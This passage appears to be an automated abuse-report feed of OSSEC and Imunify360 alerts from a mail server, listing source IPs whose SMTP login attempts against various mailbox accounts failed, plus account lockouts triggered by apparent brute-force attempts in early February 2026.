country_id: 2921044
description:
Feb  1 11:23:44 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account salesjb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.251.143.14
country_id: 1269750
description:
2026-02-01 11:23:44 dovecot_login authenticator failed for H=([103.251.143.14]) [103.251.143.14]:46992: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:23:46 dovecot_login authenticator failed for H=(Rx1jgiiH) [158.94.208.175]:52100: 535 Incorrect authentication data (set_id=salesjb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:23:15 dovecot_login authenticator failed for H=(cGuYuCJ5iN) [178.16.54.22]:57003: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:23:22 dovecot_login authenticator failed for H=(anhB6i) [178.16.52.139]:54569: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.40.202.114
country_id: 1269750
description:
2026-02-01 11:23:33 dovecot_plain authenticator failed for H=(R27PCKV70FQ2DWX) [103.40.202.114]:62700: 535 Incorrect authentication data (set_id=chia@eminent.st)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:24:50 dovecot_login authenticator failed for H=(56vUIYDpHB) [178.16.54.22]:61742: 535 Incorrect authentication data (set_id=enquiry@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 11:24:04 dovecot_login authenticator failed for H=(xWpd1a) [178.16.54.22]:57215: 535 Incorrect authentication data (set_id=yap@pftfood.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 11:24:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account salesjb has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:24:14 dovecot_login authenticator failed for H=(tXbFclv) [158.94.208.175]:64456: 535 Incorrect authentication data (set_id=salesjb)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 11:24:16 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:44967: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.56
country_id: 1269750
description:
2026-02-01 11:24:50 dovecot_login authenticator failed for H=(nsg-corporate-56.234.187.122.airtel.in) [122.187.234.56]:40693: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-02-01 11:25:02 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:20736: 535 Incorrect authentication data (set_id=support)


